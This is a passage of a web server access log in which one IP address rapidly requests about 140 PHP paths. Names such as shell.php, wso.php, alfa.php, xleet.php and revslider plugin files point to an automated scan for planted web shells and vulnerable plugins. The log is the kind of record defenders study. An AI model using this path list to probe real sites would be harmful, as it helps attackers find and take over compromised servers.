x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:41 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:41 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:41 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:42 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:42 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:43 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:43 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:14:43 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:44 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:44 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:45 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:45 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:46 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:14:46 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:14:46 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:14:47 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:47 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:48 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:48 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:49 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:49 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:49 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:50 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:50 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:51 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:14:51 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:52 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:52 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:52 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:53 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:53 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:54 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:54 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:55 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:55 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:55 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:14:56 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:56 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:14:57 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:57 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:58 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:58 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:59 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:59 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:59 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:00 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:00 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:15:01 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:01 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:02 +0300] "GET /ar/wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:02 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:03 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:15:03 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:04 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:04 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:04 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:15:05 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:05 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:06 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:15:06 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:06 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:07 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:07 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:08 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:15:08 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:09 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:15:09 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:09 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:10 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:10 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:15:11 +0300] "GET /admin/user_data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:11 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:12 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:12 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:13 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:13 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:15:13 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:14 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:14 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:15 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:15 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:15:15 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:15:16 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:16 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:17 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:15:17 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:15:18 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:18 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:18 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:19 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:15:19 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:20 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:15:20 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:20 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:15:21 +0300] "GET /images/habhan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:21 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:15:22 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:22 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:15:23 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:23 +0300] "GET /routes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:15:23 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:15:24 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:24 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:15:25 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:25 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:26 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:15:26 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:26 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:27 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:27 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:28 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:15:28 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - 